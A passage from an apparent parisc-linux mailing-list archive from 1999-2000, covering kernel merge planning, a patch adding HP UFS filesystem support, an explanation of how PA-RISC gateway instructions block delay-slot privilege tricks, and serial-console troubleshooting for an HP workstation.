drivers/net/tulip/tulip_core.c

The following files should definitely just be overwritten:

Documentation/DMA-mapping.txt
drivers/net/pcnet32.c

the rest will require closer scrutiny on Friday.  From an initial
examination, it's not going to be too painful.  I propose we close
the tree for new checkins midnight Thursday GMT (7pm EST, 4pm PST).
After that, I guess we'll lay down a tag and start merging in 2.3.99pre8
files and then lay down another tag when we're done.  mang, will you be
around to assist us with the merge?


CREDITS
Makefile
drivers/block/rd.c
drivers/char/Config.in
drivers/char/Makefile
drivers/char/console.c
drivers/char/serial.c
drivers/net/82596.c
drivers/net/Makefile
drivers/net/Space.c
drivers/net/eepro100.c
drivers/pci/pci.c
drivers/pci/pci.ids
drivers/scsi/Makefile
drivers/scsi/hosts.c
drivers/scsi/script_asm.pl
drivers/scsi/scsi_obsolete.c
drivers/scsi/sym53c8xx_defs.h
drivers/sound/Config.in
drivers/sound/Makefile
drivers/video/Makefile
fs/Makefile
fs/exec.c
fs/nfs/nfsroot.c
include/linux/binfmts.h
include/linux/pci.h
include/linux/pci_ids.h
include/linux/string.h
include/linux/tty.h
include/linux/udf_fs_sb.h
include/linux/ufs_fs.h
init/main.c
kernel/exit.c
kernel/fork.c
kernel/printk.c
lib/string.c
mm/slab.c


From - Thu Nov 08 21:12:35 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Taggart <taggart@carmen.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] bad asm comments
Date: Tue, 23 May 2000 19:01:51 -0600
Lines: 18
Approved: news@gmane.org
Message-ID: <20000524010151.907CA37DA8@carmen.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618926 32767 80.91.229.3 (22 Nov 2014 01:15:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:15:26 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: taggart@carmen.fc.hp.com  Tue May 23 19:00:02 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id TAA05543
	for <parisc-linux@puffin.external.hp.com>; Tue, 23 May 2000 19:00:01 -0600
Original-Received: (qmail 7148 invoked by uid 15267); 24 May 2000 01:00:18 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 7138 invoked from network); 24 May 2000 01:00:17 -0000
Original-Received: from cosrel1.hp.com (156.153.255.170)
  by mailserv2.iuinc.com with SMTP; 24 May 2000 01:00:17 -0000
Original-Received: from carmen.fc.hp.com (carmen.fc.hp.com [15.1.51.72])
	by cosrel1.hp.com (Postfix) with ESMTP id E0FA8340
	for <parisc-linux@thepuffingroup.com>; Tue, 23 May 2000 19:00:17 -0600 (MDT)
Original-Received: from carmen.fc.hp.com (localhost [127.0.0.1])
	by carmen.fc.hp.com (Postfix) with ESMTP id 907CA37DA8
	for <parisc-linux@thepuffingroup.com>; Tue, 23 May 2000 19:01:51 -0600 (MDT)
X-Mailer: exmh version 2.1.1 10/15/1999 (debian)
Xref: news.gmane.org gmane.linux.ports.parisc:7316

In building gcc/binutils-2.10 today I discovered a few asm files that are 
still using ! as a comment character. They are,

./gcc/gcc/config/pa/lib2funcs-elf.S
./glibc/csu/crti.S
./glibc/csu/crtn.S
./glibc/sysdeps/hppa/__longjmp.S
./glibc/sysdeps/hppa/setjmp.S

Which need to be changed?

Thanks,

-- 
Matt Taggart
taggart@fc.hp.com



From - Thu Nov 08 21:12:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] bad asm comments
Date: Wed, 24 May 2000 11:21:37 +1000 (EST)
Lines: 20
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0005241116300.13743-100000@front.linuxcare.com.au>
References: <20000524010151.907CA37DA8@carmen.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416618926 303 80.91.229.3 (22 Nov 2014 01:15:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:15:26 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Matt Taggart <taggart@carmen.fc.hp.com>
Original-X-From: alan@linuxcare.com.au  Tue May 23 19:23:01 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id TAA05886
	for <parisc-linux@puffin.external.hp.com>; Tue, 23 May 2000 19:23:01 -0600
Original-Received: (qmail 20112 invoked by uid 15267); 24 May 2000 01:23:14 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 20082 invoked from network); 24 May 2000 01:23:12 -0000
Original-Received: from linuxcare.com.au (HELO front.linuxcare.com.au) (203.29.91.49)
  by mailserv2.iuinc.com with SMTP; 24 May 2000 01:23:12 -0000
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id LAA16934;
	Wed, 24 May 2000 11:21:37 +1000
In-Reply-To: <20000524010151.907CA37DA8@carmen.fc.hp.com>
Xref: news.gmane.org gmane.linux.ports.parisc:7317

On Tue, 23 May 2000, Matt Taggart wrote:

> In building gcc/binutils-2.10 today I discovered a few asm files that are 
> still using ! as a comment character. They are,
> 
> ./gcc/gcc/config/pa/lib2funcs-elf.S
> ./glibc/csu/crti.S
> ./glibc/csu/crtn.S
> ./glibc/sysdeps/hppa/__longjmp.S
> ./glibc/sysdeps/hppa/setjmp.S
> 
> Which need to be changed?

Um, I only patched the kernel and palo, and was hoping someone else
would volunteer to do the rest of the tree.  I suppose I ought to fix
these too.

-- 
Linuxcare.  Support for the Revolution.


From - Thu Nov 08 21:12:35 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: willy@thepuffingroup.com
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [PATCH] support for HP UFS filesystems
Date: Wed, 24 May 2000 12:53:49 -0400
Lines: 149
Approved: news@gmane.org
Message-ID: <20000524125349.L17536@thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618927 308 80.91.229.3 (22 Nov 2014 01:15:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:15:27 +0000 (UTC)
Cc: linux-fsdevel@vger.rutgers.edu, parisc-linux@thepuffingroup.com
To: torvalds@transmeta.com
Original-X-From: willy@thepuffingroup.com  Wed May 24 09:53:40 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id JAA12217
	for <parisc-linux@puffin.external.hp.com>; Wed, 24 May 2000 09:53:40 -0600
Original-Received: (qmail 6959 invoked by uid 15267); 24 May 2000 15:53:57 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 6946 invoked from network); 24 May 2000 15:53:56 -0000
Original-Received: from unknown (HELO gin.ext.thepuffingroup.com) (216.208.98.3)
  by mailserv2.iuinc.com with SMTP; 24 May 2000 15:53:56 -0000
Original-Received: (from willy@localhost)
	by gin.ext.thepuffingroup.com (8.9.3/8.9.3) id MAA23857;
	Wed, 24 May 2000 12:53:49 -0400
X-Mailer: Mutt 0.95.4us
Xref: news.gmane.org gmane.linux.ports.parisc:7318


Linus, this patch allows Linux to mount HP-style UFS filesystems.  Please
apply.

diff -urNX exclude linux-pre9/fs/ufs/super.c linux-2.3/fs/ufs/super.c
--- linux-pre9/fs/ufs/super.c	Mon Mar 13 15:35:39 2000
+++ linux-2.3/fs/ufs/super.c	Sun Mar 26 17:27:41 2000
@@ -55,6 +55,9 @@
  *
  * write support Daniel Pirkl <daniel.pirkl@email.cz> 1998
  * 
+ * HP/UX hfs filesystem support added by
+ * Martin K. Petersen <mkp@mkp.net>, August 1999
+ *
  */
 
 
@@ -279,6 +282,8 @@
 				ufs_set_opt (*mount_options, UFSTYPE_OPENSTEP);
 			else if (!strcmp (value, "sunx86"))
 				ufs_set_opt (*mount_options, UFSTYPE_SUNx86);
+			else if (!strcmp (value, "hp"))
+				ufs_set_opt (*mount_options, UFSTYPE_HP);
 			else {
 				printk ("UFS-fs: Invalid type option: %s\n", value);
 				return 0;
@@ -473,7 +478,7 @@
 	if (!(sb->u.ufs_sb.s_mount_opt & UFS_MOUNT_UFSTYPE)) {
 		printk("You didn't specify the type of your ufs filesystem\n\n"
 		"mount -t ufs -o ufstype="
-		"sun|sunx86|44bsd|old|nextstep|netxstep-cd|openstep ...\n\n"
+		"sun|sunx86|44bsd|old|hp|nextstep|netxstep-cd|openstep ...\n\n"
 		">>>WARNING<<< Wrong ufstype may corrupt your filesystem, "
 		"default is ufstype=old\n");
 		ufs_set_opt (sb->u.ufs_sb.s_mount_opt, UFSTYPE_OLD);
@@ -573,6 +578,19 @@
 		}
 		break;
 	
+	case UFS_MOUNT_UFSTYPE_HP:
+		UFSD(("ufstype=hp\n"))
+		uspi->s_fsize = block_size = 1024;
+		uspi->s_fmask = ~(1024 - 1);
+		uspi->s_fshift = 10;
+		uspi->s_sbsize = super_block_size = 2048;
+		uspi->s_sbbase = 0;
+		flags |= UFS_DE_OLD | UFS_UID_OLD | UFS_ST_OLD | UFS_CG_OLD;
+		if (!(sb->s_flags & MS_RDONLY)) {
+			printk(KERN_INFO "ufstype=hp is supported read-only\n");
+			sb->s_flags |= MS_RDONLY;
+ 		}
+ 		break;
 	default:
 		printk("unknown ufstype\n");
 		goto failed;
@@ -598,18 +616,30 @@
 #if defined(__LITTLE_ENDIAN) || defined(__BIG_ENDIAN) /* sane bytesex */
 	switch (usb3->fs_magic) {
 		case UFS_MAGIC:
+	        case UFS_MAGIC_LFN:
+	        case UFS_MAGIC_FEA:
+	        case UFS_MAGIC_4GB:
 			swab = UFS_NATIVE_ENDIAN;
 			goto magic_found;
 		case UFS_CIGAM:
+	        case UFS_CIGAM_LFN:
+	        case UFS_CIGAM_FEA:
+	        case UFS_CIGAM_4GB:
 			swab = UFS_SWABBED_ENDIAN;
 			goto magic_found;
 	}
 #else /* bytesex perversion */
 	switch (le32_to_cpup(&usb3->fs_magic)) {
 		case UFS_MAGIC:
+		case UFS_MAGIC_LFN:
+	        case UFS_MAGIC_FEA:
+	        case UFS_MAGIC_4GB:
 			swab = UFS_LITTLE_ENDIAN;
 			goto magic_found;
 		case UFS_CIGAM:
+		case UFS_CIGAM_LFN:
+	        case UFS_CIGAM_FEA:
+	        case UFS_CIGAM_4GB:
 			swab = UFS_BIG_ENDIAN;
 			goto magic_found;
 	}
diff -urNX exclude linux-pre9/include/linux/ufs_fs.h linux-2.3/include/linux/ufs_fs.h
--- linux-pre9/include/linux/ufs_fs.h	Tue Mar 14 21:36:40 2000
+++ linux-2.3/include/linux/ufs_fs.h	Sun Mar 26 17:29:05 2000
@@ -18,6 +18,10 @@
  * Niels Kristian Bech Jensen <nkbj@image.dk>.
  *
  * Write support by Daniel Pirkl <daniel.pirkl@email.cz>
+ *
+ * HP/UX hfs filesystem support added by
+ * Martin K. Petersen <mkp@mkp.net>, August 1999
+ *
  */
 
 #ifndef __LINUX_UFS_FS_H
@@ -38,6 +42,30 @@
 #define UFS_MAGIC 0x00011954
 #define UFS_CIGAM 0x54190100 /* byteswapped MAGIC */
 
+
+/* HP specific MAGIC values */
+
+#define UFS_MAGIC_LFN   0x00095014 /* fs supports filenames > 14 chars */
+#define UFS_CIGAM_LFN   0x14500900 /* srahc 41 < semanelif stroppus sf */
+
+#define UFS_MAGIC_SEC   0x00612195 /* B1 security fs */
+#define UFS_CIGAM_SEC   0x95216100
+
+#define UFS_MAGIC_FEA   0x00195612 /* fs_featurebits supported */
+#define UFS_CIGAM_FEA   0x12561900
+
+#define UFS_MAGIC_4GB   0x05231994 /* fs > 4 GB && fs_featurebits */
+#define UFS_CIGAM_4GB   0x94192305
+
+/* Seems somebody at HP goofed here. B1 and lfs are both 0x2 !?! */
+#define UFS_FSF_LFN     0x00000001 /* long file names */
+#define UFS_FSF_B1      0x00000002 /* B1 security */
+#define UFS_FSF_LFS     0x00000002 /* large files */
+#define UFS_FSF_LUID    0x00000004 /* large UIDs */
+
+/* End of HP stuff */
+
+
 #define UFS_BSIZE	8192
 #define UFS_MINBSIZE	4096
 #define UFS_FSIZE	1024
@@ -111,7 +139,7 @@
 #define UFS_MOUNT_ONERROR_UMOUNT	0x00000004
 #define UFS_MOUNT_ONERROR_REPAIR	0x00000008
 
-#define UFS_MOUNT_UFSTYPE		0x000007F0
+#define UFS_MOUNT_UFSTYPE		0x00000FF0
 #define UFS_MOUNT_UFSTYPE_OLD		0x00000010
 #define UFS_MOUNT_UFSTYPE_44BSD		0x00000020
 #define UFS_MOUNT_UFSTYPE_SUN		0x00000040
@@ -119,6 +147,7 @@
 #define UFS_MOUNT_UFSTYPE_NEXTSTEP_CD	0x00000100
 #define UFS_MOUNT_UFSTYPE_OPENSTEP	0x00000200
 #define UFS_MOUNT_UFSTYPE_SUNx86	0x00000400
+#define UFS_MOUNT_UFSTYPE_HP	        0x00000800
 
 #define ufs_clear_opt(o,opt)	o &= ~UFS_MOUNT_##opt
 #define ufs_set_opt(o,opt)	o |= UFS_MOUNT_##opt


From - Thu Nov 08 21:12:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Cary Coutant <cary@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [hppa-linux] Gateway instructions
Date: Thu, 18 Mar 1999 10:43:44 -0800
Lines: 48
Approved: news@gmane.org
Message-ID: <199903181840.KAA25312@cllmail.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
X-Trace: ger.gmane.org 1416618927 309 80.91.229.3 (22 Nov 2014 01:15:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:15:27 +0000 (UTC)
To: <hppa-linux@thepuffingroup.com>
Original-X-From: cary@cup.hp.com  Thu Mar 18 13:40:38 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by sod.res.cmu.edu (8.8.7/8.8.7) with SMTP id NAA25978
	for <hppa-linux@sod.res.cmu.edu>; Thu, 18 Mar 1999 13:40:37 -0500
Original-Received: (qmail 13992 invoked by uid 15267); 18 Mar 1999 18:39:51 -0000
Delivered-To: thepuffi-hppa-linux@thepuffingroup.com
Original-Received: (qmail 13985 invoked from network); 18 Mar 1999 18:39:50 -0000
Original-Received: from palrel1.hp.com (156.153.255.242)
  by mailserv2.iuinc.com with SMTP; 18 Mar 1999 18:39:50 -0000
Original-Received: from cllmail.cup.hp.com (cllmail.cup.hp.com [15.28.98.139])
	by palrel1.hp.com (8.8.6/8.8.5tis) with ESMTP id KAA08437
	for <hppa-linux@thepuffingroup.com>; Thu, 18 Mar 1999 10:40:26 -0800 (PST)
Original-Received: from [15.0.97.82] (cc757591.cup.hp.com [15.0.97.82]) by cllmail.cup.hp.com with SMTP (8.8.6 (PHNE_14041)/8.7.3 TIS Messaging 5.0) id KAA25312 for <hppa-linux@thepuffingroup.com>; Thu, 18 Mar 1999 10:40:26 -0800 (PST)
x-sender: cary@cllmail.cup.hp.com
x-mailer: Claris Emailer 2.0v3, January 22, 1998
Xref: news.gmane.org gmane.linux.ports.parisc:7319

The PSW B bit is set to indicate that an instruction is executing in the 
delay slot of another branch. Gateway instructions trap if the B bit is 
set to prevent a malicious process from using sequence like the following 
to gain a higher privilege level:

     B    gateway
     B    my_routine

Without this protection, the first branch to the gateway instruction 
would promote the privilege level, but control would immediately be 
transferred to the user's own code. 

Branches in delay slots are tricky; here's what's really happening in the 
hardware:

                                       PC offset queue after instruction
    PC           Instruction           head         tail

    user+0       ...                   user+4       user+8
    user+4       B gateway             user+8       gateway
    user+8       B my_routine          gateway      my_routine
    gateway      B,GATE syscall        my_routine   syscall
    my_routine   B my_routine+4        syscall      my_routine+4
    syscall      ...                   my_routine+4 my_routine+8
    my_routine+4 ...

When a page's access rights are 4, 5, 6, or 7, a gateway instruction on 
that page causes the privilege promotion. Most HP-UX system calls are 
branches to a common gateway instruction on a gateway page in the fourth 
quadrant. This gateway instruction then branches to a common syscall 
entry sequence that ultimately switches on the syscall number passed in a 
GR. Some "lightweight" syscalls may be implemented with their own 
gateways.

The B bit is not a problem as long as the delay slot of the branch to the 
gateway is either nullified or filled in with a non-branch instruction. 
For example,

    LDIL L'GATEWAY,%r1
    BLE  R'GATEWAY(%sr7,%r1)
    LDO  sycallnum,%r22



Cary Coutant
Hewlett-Packard Co.
Application Delivery Lab


From - Thu Nov 08 21:12:35 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Pavel Roskin <pavel_roskin@geocities.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Serial support in IPL
Date: Wed, 24 May 2000 17:22:46 -0400 (EDT)
Lines: 38
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0005241559150.11687-100000@sunapee.transcept.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416618927 313 80.91.229.3 (22 Nov 2014 01:15:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:15:27 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: pavel_roskin@geocities.com  Wed May 24 15:22:02 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id PAA14864
	for <parisc-linux@puffin.external.hp.com>; Wed, 24 May 2000 15:22:02 -0600
Original-Received: (qmail 6599 invoked by uid 15267); 24 May 2000 21:22:19 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 6588 invoked from network); 24 May 2000 21:22:18 -0000
Original-Received: from rokslava.transcept.com (208.151.20.130)
  by mailserv2.iuinc.com with SMTP; 24 May 2000 21:22:18 -0000
Original-Received: from sunapee.transcept.com by rokslava.transcept.com
          via smtpd (for mailserv2.iuinc.com [206.245.164.55]) with SMTP; 24 May 2000 21:08:09 UT
Original-Received: from localhost (proskin@localhost)
	by sunapee.transcept.com (8.9.3/8.9.3) with ESMTP id RAA12114
	for <parisc-linux@thepuffingroup.com>; Wed, 24 May 2000 17:22:46 -0400
X-Authentication-Warning: sunapee.transcept.com: proskin owned process doing -bs
X-Sender: proskin@sunapee.transcept.com
Xref: news.gmane.org gmane.linux.ports.parisc:7320

Hello!

I'm completely new to PA/Linux and I'm not subscribed to the list, so
excuse me my dummy questions.

I've got C160L without monitor. I also don't know how to connect the
console. There is a connector "HP-HIL" which is somewhat similar to RJ-45,
but I don't know the wiring, and I'm not sure if it's the PDC console.

If the hard drive is connected, I don't see anything interesting except a
packet on the ethernet interface containing words:

HP LAN loop back test packet. LAN2 driver version 1

If I disconnect the drive, the box sends a bootp request and then a tftp
request. I can feed it with the linux kernel, but I see nothing on the
serial port.

If I use a fake kernel it is requested only once. The real kernel is
requested two or three times. I believe, this means that IPL actually
tries to "rewind" tftp to get the kernel.

I'm affraid that I need a version of IPL with serial console support to
get any further. ipl_c.c contains encouraging words:

 * Revision 1.24 1999/10/15 19:30:30 deller
 *
 * The serial console works now !

But it is just revision 1.3 in the anonymous CVS. There must be historic
versions with serial support using different revision numbering, right?

Can anybody build a kernel with the serial support at least in IPL
(ideally, in the kernel too)? Thank you in advance.

Regards,
Pavel Roskin


From - Thu Nov 08 21:12:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Taggart <taggart@carmen.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Serial support in IPL
Date: Wed, 24 May 2000 15:54:25 -0600
Lines: 60
Approved: news@gmane.org
Message-ID: <20000524215425.6B32937DA8@carmen.fc.hp.com>
References: <Pine.LNX.4.21.0005241559150.11687-100000@sunapee.transcept.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618928 316 80.91.229.3 (22 Nov 2014 01:15:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:15:28 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Pavel Roskin <pavel_roskin@geocities.com>
Original-X-From: taggart@carmen.fc.hp.com  Wed May 24 15:52:35 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id PAA15239
	for <parisc-linux@puffin.external.hp.com>; Wed, 24 May 2000 15:52:35 -0600
Original-Received: (qmail 31872 invoked by uid 15267); 24 May 2000 21:52:52 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 31859 invoked from network); 24 May 2000 21:52:52 -0000
Original-Received: from cosrel2.hp.com (156.153.255.162)
  by mailserv2.iuinc.com with SMTP; 24 May 2000 21:52:52 -0000
Original-Received: from carmen.fc.hp.com (carmen.fc.hp.com [15.1.51.72])
	by cosrel2.hp.com (Postfix) with ESMTP
	id 13FD02E4; Wed, 24 May 2000 15:52:49 -0600 (MDT)
Original-Received: from carmen.fc.hp.com (localhost [127.0.0.1])
	by carmen.fc.hp.com (Postfix) with ESMTP
	id 6B32937DA8; Wed, 24 May 2000 15:54:25 -0600 (MDT)
X-Mailer: exmh version 2.1.1 10/15/1999 (debian)
In-Reply-To: Message from Pavel Roskin <pavel_roskin@geocities.com> 
   of "Wed, 24 May 2000 17:22:46 EDT." <Pine.LNX.4.21.0005241559150.11687-100000@sunapee.transcept.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:7321


Pavel Roskin writes...

> I've got C160L without monitor. I also don't know how to connect the
> console. There is a connector "HP-HIL" which is somewhat similar to RJ-45,
> but I don't know the wiring, and I'm not sure if it's the PDC console.

The console is probably set to graphics, but if you boot without a keyboard 
plugged in it should go to the first serial port(unless the console path is 
set to something weird).

> If the hard drive is connected, I don't see anything interesting except a
> packet on the ethernet interface containing words:
> 
> HP LAN loop back test packet. LAN2 driver version 1

It's booting off the primary path(the disk). The disk probably still has HP-UX 
on it and that packet is the result of the driver loading.

> If I disconnect the drive, the box sends a bootp request and then a tftp
> request.

In this case the primary path failed and it's trying the secondary path which 
is lan.

> I can feed it with the linux kernel, but I see nothing on the
> serial port.

A couple suggestions(obvious but worth checking),

- Make sure all keyboards are unplugged
- Have you tried both serial ports?
- Are you sure your serial console is working?
- If you are connecting computer to computer be sure to use a null modem cable.
- Use 9600,8,N,1

> If I use a fake kernel it is requested only once. The real kernel is
> requested two or three times. I believe, this means that IPL actually
> tries to "rewind" tftp to get the kernel.
> 
> I'm affraid that I need a version of IPL with serial console support to
> get any further. ipl_c.c contains encouraging words:
> 
>  * Revision 1.24 1999/10/15 19:30:30 deller
>  *
>  * The serial console works now !
> 

This only affect after the system starts booting. No matter what you should be 
seeing the firmware interface on the console(whatever it's set to).

If none of the above work it could be that your console path is set to 
something weird. You might be able to fix it by blindly changing it. If you 
can't get it to work let me know and I'll post a keystroke recipe to fix it.

-- 
Matt Taggart
taggart@fc.hp.com



From - Thu Nov 08 21:12:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Philipp Rumpf <prumpf@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Serial support in IPL
Date: Wed, 24 May 2000 16:14:58 -0600
Lines: 32
Approved: news@gmane.org
Message-ID: <20000524161458.A15622@puffin.external.hp.com>
References: <Pine.LNX.4.21.0005241559150.11687-100000@sunapee.transcept.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618928 318 80.91.229.3 (22 Nov 2014 01:15:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:15:28 +0000 (UTC)
To: Pavel Roskin <pavel_roskin@geocities.com>, parisc-linux@thepuffingroup.com
Original-X-From: prumpf@puffin.external.hp.com  Wed May 24 16:15:05 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id QAA15678
	for <parisc-linux@puffin.external.hp.com>; Wed, 24 May 2000 16:15:04 -0600
Original-Received: (qmail 17736 invoked by uid 15267); 24 May 2000 22:15:21 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 17724 invoked from network); 24 May 2000 22:15:21 -0000
Original-Received: from puffin.external.hp.com (root@192.25.206.4)
  by mailserv2.iuinc.com with SMTP; 24 May 2000 22:15:21 -0000
Original-Received: (from prumpf@localhost)
	by puffin.external.hp.com (8.9.3/8.9.3) id QAA15673;
	Wed, 24 May 2000 16:14:58 -0600
X-Mailer: Mutt 0.93.2
In-Reply-To: <Pine.LNX.4.21.0005241559150.11687-100000@sunapee.transcept.com>; from Pavel Roskin on Wed, May 24, 2000 at 05:22:46PM -0400
Xref: news.gmane.org gmane.linux.ports.parisc:7322

On Wed, May 24, 2000 at 05:22:46PM -0400, Pavel Roskin wrote:
> I've got C160L without monitor. I also don't know how to connect the
> console. There is a connector "HP-HIL" which is somewhat similar to RJ-45,
> but I don't know the wiring, and I'm not sure if it's the PDC console.

This is the keyboard connector.  Some older C-class workstations have both
HIL and PS/2; forget it exists.

> If I use a fake kernel it is requested only once. The real kernel is
> requested two or three times. I believe, this means that IPL actually
> tries to "rewind" tftp to get the kernel.

IPL, parts of the kernel and the boot interface all use the console device
selected in nvram.  my guess is this is graphics (since you don't see
anything on your serial port when booting the machine ?), so you should
either connect a monitor or try to remove all keyboards.

> I'm affraid that I need a version of IPL with serial console support to
> get any further. ipl_c.c contains encouraging words:

You should make sure you have a working firmware console first (IPL does
not really care whether it's connected to serial or graphics).

>  * Revision 1.24 1999/10/15 19:30:30 deller
>  *
>  * The serial console works now !

That comment is in ipl_c.c only because the command line was changed and
it was set there back then.

	Philipp Rumpf


From - Thu Nov 08 21:12:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Pavel Roskin <pavel_roskin@geocities.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Serial support in IPL
Date: Wed, 24 May 2000 19:07:15 -0400 (EDT)
Lines: 46
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0005241831420.12287-100000@sunapee.transcept.com>
References: <20000524215425.6B32937DA8@carmen.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416618928 320 80.91.229.3 (22 Nov 2014 01:15:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:15:28 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Matt Taggart <taggart@carmen.fc.hp.com>
Original-X-From: pavel_roskin@geocities.com  Wed May 24 17:07:21 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id RAA16154
	for <parisc-linux@puffin.external.hp.com>; Wed, 24 May 2000 17:07:21 -0600
Original-Received: (qmail 18937 invoked by uid 15267); 24 May 2000 23:07:39 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 18922 invoked from network); 24 May 2000 23:07:38 -0000
Original-Received: from rokslava.transcept.com (208.151.20.130)
  by mailserv2.iuinc.com with SMTP; 24 May 2000 23:07:38 -0000
Original-Received: from sunapee.transcept.com by rokslava.transcept.com
          via smtpd (for mailserv2.iuinc.com [206.245.164.55]) with SMTP; 24 May 2000 22:53:28 UT
Original-Received: from localhost (proskin@localhost)
	by sunapee.transcept.com (8.9.3/8.9.3) with ESMTP id TAA28145;
	Wed, 24 May 2000 19:07:16 -0400
X-Authentication-Warning: sunapee.transcept.com: proskin owned process doing -bs
X-Sender: proskin@sunapee.transcept.com
In-Reply-To: <20000524215425.6B32937DA8@carmen.fc.hp.com>
Xref: news.gmane.org gmane.linux.ports.parisc:7323

Hello, Matt!

> A couple suggestions(obvious but worth checking),
> 
> - Make sure all keyboards are unplugged
